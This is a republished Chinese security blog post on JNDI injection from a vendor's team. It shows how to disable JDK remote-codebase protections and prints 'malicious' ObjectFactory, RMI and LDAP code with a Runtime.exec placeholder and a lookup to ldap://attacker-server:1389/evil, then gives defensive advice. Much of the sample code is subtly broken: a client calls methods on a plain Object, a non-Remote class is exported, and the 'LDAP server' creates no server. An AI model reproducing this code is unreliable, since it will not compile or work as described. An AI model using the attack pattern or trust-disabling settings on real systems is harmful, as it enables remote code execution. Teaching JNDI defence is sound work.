九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)

admin 2023年7月11日23:52:16评论19 views字数 7306阅读24分21秒阅读模式

九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)

上篇内容请点击浏览:九维团队-绿队(改进)| JNDI用法示例及安全开发建议(上)

十一、RMI/LDAP 远程对象引用安全限制

在 RMI 服务中引用远程对象将受本地 Java 环境限制,即本地的 java.rmi.server.useCodebaseOnly 配置必须为 false(允许加载远程对象),如果该值为 true 则禁止引用远程对象。除此之外被引用的 ObjectFactory 对象还将受到 com.sun.jndi.rmi.object.trustURLCodebase 配置限制,如果该值为 false(不信任远程引用对象) 一样无法调用远程的引用对象。


  • JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121 开始 java.rmi.server.useCodebaseOnly 默认配置已经改为了 true。


  • JDK 6u132, JDK 7u122, JDK 8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值已改为了 false。


本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

*左右滑动查看更多


或者在启动 Java 程序时候指定 -D 参数:

-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true

*左右滑动查看更多


LDAP 在 JDK 11.0.1、8u191、7u201、6u211 后也将默认的 com.sun.jndi.ldap.object.trustURLCodebase 设置为了 false。


高版本 JDK 可参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用。


十二、使用创建恶意的 ObjectFactory对象

首先,创建一个类 MyObjectFactory,实现 javax.naming.spi.ObjectFactory 接口。

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;
public class MyObjectFactory implements ObjectFactory { public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception { // 在这里执行恶意操作,例如获取敏感信息或者执行不安全的代码 // ... return null; }}

*左右滑动查看更多


然后,将该类编译为字节码文件,并将其放置在一个 JAR 文件中。


接下来,可以使用以下代码来注册并使用该恶意的 ObjectFactory 对象:

import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;
public class MyJNDIAttack { public static void main(String[] args) { try { // 创建一个Hashtable对象,用于存储JNDI上下文的环境属性 Hashtable<String, Object> env = new Hashtable<String, Object>();
// 添加一个引用,指定ObjectFactory的类名为MyObjectFactory env.put("java.naming.factory.object", "MyObjectFactory");
// 创建一个JNDI初始上下文 Context ctx = new InitialContext(env);
// 进行JNDI查询,此操作会触发MyObjectFactory.getObjectInstance方法 // 这里的name参数可以自定义,例如使用非法的URL或者传递恶意参数 Object obj = ctx.lookup("name");
// 使用查询结果进行其他操作,例如调用方法或获取属性值 // ...
// 关闭JNDI上下文 ctx.close(); } catch (NamingException e) { e.printStackTrace(); } }}

*左右滑动查看更多


在上述示例中,我们自定义了一个 MyObjectFactory 类实现了 javax.naming.spi.ObjectFactory 接口,并在 getObjectInstance 方法中执行了恶意操作。然后,通过创建 JNDI 上下文的方式,在环境属性中指定了 MyObjectFactory 的类名,并使用 lookup 方法进行查询,从而触发了 getObjectInstance 方法。最终,我们可以在获取的结果中进行其他操作。


十三、创建恶意的 RMI服务

创建恶意的 RMI(远程方法调用)服务需要涉及到以下几个步骤:


步骤1

 创建恶意的 ObjectFactory 对象


ObjectFactory 对象是用来创建远程对象的工厂对象。恶意的 ObjectFactory 对象会包含恶意的代码,用于攻击目标系统。


一种常见的恶意代码是 RMI 注入代码,它会通过更改 Java SecurityManager 的权限来获取对目标系统的控制。下面是一个示例的 ObjectFactory 对象的恶意代码:

import java.rmi.Naming;import java.rmi.registry.LocateRegistry;import javax.naming.Reference;import javax.naming.StringRefAddr;import javax.naming.spi.ObjectFactory;
public class MaliciousObjectFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception { // 恶意代码 Runtime.getRuntime().exec("malicious_command"); // 执行恶意命令 return null; // 返回 null,不会创建任何对象 }}

*左右滑动查看更多


通过编译上述代码并打包成 JAR 文件,我们可以在远程服务中使用这个 ObjectFactory 对象。


步骤2

启动恶意的 RMI 服务


在启动 RMI 服务之前,需要注册 RMI 注册表以便客户端能够访问该服务。下面是一个简单的示例代码:

import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;
public class MaliciousRMIServer {
public static void main(String[] args) throws Exception { // 注册 RMI 注册表 Registry registry = LocateRegistry.createRegistry(1099);
// 创建远程对象 MaliciousObjectFactory factory = new MaliciousObjectFactory(); ObjectFactory remoteObject = (ObjectFactory) UnicastRemoteObject.exportObject(factory, 0);
// 绑定远程对象到命名空间 registry.bind("MaliciousObject", remoteObject);
System.out.println("Malicious RMI server is running..."); }}

*左右滑动查看更多


上述代码中,我们使用了 RMI 注册表的默认端口 1099,并将恶意的 ObjectFactory 对象绑定到了命名空间中。


步骤3

 启动恶意的 RMI 客户端


现在我们可以创建一个恶意的 RMI 客户端,用于连接到恶意的 RMI 服务并触发恶意代码的执行。下面是一个简单的示例代码:

import java.rmi.Naming;import javax.naming.Context;
public class MaliciousRMIClient {
public static void main(String[] args) throws Exception {
// 连接到 RMI 服务并获取恶意对象 Context namingContext = new InitialContext(); Object obj = namingContext.lookup("MaliciousObject");
// 当调用恶意对象的方法时,恶意代码将会被执行 obj.getObjectInstance(null, null, null, null); }}

*左右滑动查看更多


上述代码中,我们使用了 Java 的 RMI Naming API 来连接到恶意的 RMI 服务,并获取了恶意的 ObjectFactory 对象。当调用该对象的 getObjectInstance 方法时,恶意代码将被执行。


十四、创建恶意的 LDAP服务

创建恶意的 LDAP 服务需要使用 Java 的 JNDI(Java Naming and Directory Interface)库。下面是一个简单示例代码:

import javax.naming.Context;import javax.naming.directory.Attributes;import javax.naming.directory.BasicAttribute;import javax.naming.directory.BasicAttributes;import javax.naming.directory.DirContext;import javax.naming.directory.InitialDirContext;
public class MaliciousLDAPServer {
public static void main(String[] args) throws Exception { // 创建一个基本的属性对象 Attributes attrs = new BasicAttributes(true); BasicAttribute attr = new BasicAttribute("objectClass"); attr.add("top"); attrs.put(attr);
// 创建一个基本的域名上下文 // 这里使用的是LDAP协议,默认端口是389 String url = "ldap://localhost:389/"; Context ctx = new InitialDirContext();
// 绑定恶意的 LDAP 路径 // 这里的用户输入相当于拼接到LDAP路径的一部分,以进行LDAP注入攻击 String maliciousInput = "(&(username=bob)(password=" + args[0] + "))"; ctx.bind(maliciousInput, null, attrs); System.out.println("恶意的LDAP服务已创建"); }}

*左右滑动查看更多


这段代码创建了一个恶意的 LDAP 服务,它接受用户输入作为参数,并将其拼接到 LDAP 路径中,以进行 LDAP 注入攻击。


代码分成几个步骤:


1、首先,创建一个基本的属性对象 Attributes 和 BasicAttributes,它们用于定义对象的属性和值。


2、然后,创建一个基本的域名上下文 InitialDirContext,用于连接到 LDAP 服务器。在本例中,我们使用了 ldap://localhost:389/ 作为 LDAP 服务器的 URL。


3、接下来,我们拼接用户输入参数到恶意的 LDAP 路径中,通过注入攻击来执行恶意的操作。在本例中,我们使用用户输入的参数作为密码,拼接到 (&(username=bob)(password=<用户输入的参数>)) 这样的 LDAP 过滤器中。


4、最后,使用 ctx.bind() 方法绑定恶意的 LDAP 路径和空对象到上下文中。这会导致 LDAP 服务器接受恶意的操作。


十五、JNDI注入漏洞利用

JNDI(Java Naming and Directory Interface)注入是一种常见的漏洞,它允许攻击者通过操纵Java命名和目录接口来执行恶意代码。这种注入漏洞通常出现在使用了不安全的JNDI实现的应用程序中。


在利用JNDI注入漏洞时,攻击者通常会创建一个恶意的LDAP(Lightweight Directory Access Protocol)服务。LDAP是一种用于访问和维护分布式目录信息的协议。通过构造特定的LDAP请求并将其发送到目标应用程序,攻击者可以实现远程代码执行、敏感数据泄露等恶意行为。


以下是一个简单的示例代码,用于创建一个恶意的LDAP服务:

import javax.naming.Context;import javax.naming.directory.DirContext;import javax.naming.directory.InitialDirContext;import javax.naming.directory.Attributes;import javax.naming.directory.BasicAttributes;
public class MaliciousLDAPServer { public static void main(String[] args) throws Exception { // 创建LDAP服务的上下文 Context ctx = new InitialDirContext();
// 创建用于添加新条目的属性 Attributes attrs = new BasicAttributes(); attrs.put("objectClass", "inetOrgPerson"); attrs.put("cn", "Malicious User"); attrs.put("sn", "User");
// 使用LDAP服务上下文添加新条目 DirContext result = ctx.createSubcontext("ldap://attacker-server:1389/evil", attrs); }}

*左右滑动查看更多


这段代码创建了一个LDAP服务,并尝试向目标应用程序添加了一个名为"Malicious User"的用户。请注意,这只是一个简单的示例,实际的恶意代码可能会更加复杂和隐蔽。


十六、JNDI安全开发建议

防止JNDI注入需要采取以下开发建议:


1、使用白名单验证:不要相信用户输入的数据,将可信的JNDI URL限制在一组已知的白名单内。


2、输入验证和过滤:对用户输入的数据进行严格的验证和过滤,防止恶意数据注入。


3、使用安全的LDAP连接:使用安全的TLS/SSL连接、绑定DN(Distinguished Name)和密码,以验证与LDAP服务器的连接。


4、避免使用LDAP URL:避免使用用户提供的LDAP URL,而是使用硬编码的LDAP连接参数。


5、定期更新库和框架:确保你使用的JNDI库和相关框架是最新版本,以获得最新的安全修复程序。


6、使用安全策略文件:通过配置安全策略文件,可以限制应用程序的权限和资源访问,从而减少潜在的风险。


7、日志记录和监控:记录JNDI操作的日志,并进行监控,及时发现异常行为。


8、定时审计:定期审计应用程序中使用的JNDI连接,以发现潜在的安全漏洞。


总的来说,防止JNDI注入需要严格验证和过滤用户输入数据,限制JNDI连接的访问范围,并采取其他安全措施,以确保应用程序的安全性。


十七、JNDI注入漏洞防御

JNDI注入漏洞是一种攻击方式,攻击者可以通过恶意构造JNDI URL,注入恶意Object对象。攻击成功后,攻击者就可以在服务器上执行任意代码。以下是几种常见的防范措施:


1、避免使用外部资源环境,对于外部提供的可能影响系统资源的环境数据,需要进行可靠性的控制和验证。


2、关闭不必要的JNDI服务,如果不使用JNDI服务,可以关闭或删除对应组件。


3、对JNDI URL的输入进行控制和过滤,防止攻击者注入恶意代码。特别是要注意对只能输入确定结果的情况进行控制,避免出现任意输入的情况。


4、在代码实现时,使用私有资源环境,避免使用公共资源环境,以免面对未知来源和控制。


5、限制JNDI资源的读取和写入权限,只给予必要的使用权限。


6、不要将JNDI URL解析为动态代码。通过将URL仅作为字符串操作,限制将其转化为真正的代码实例。


需要注意的是,在防范JNDI注入漏洞的过程中同时需要防御其他类型的远程代码执行漏洞,比如反序列化漏洞等。因此维护有效的漏洞库和修正状态,及时更新和调整相应的防范措施,对于提高系统安全性非常重要。


往期回顾

九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)

九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)

九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)

九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)

九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)

九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)


关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)

九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)

九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)

原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月11日23:52:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-绿队(改进)| JNDI用法示例及安全开发建议(下)http://cn-sec.com/archives/1866151.html

发表评论

匿名网友 填写信息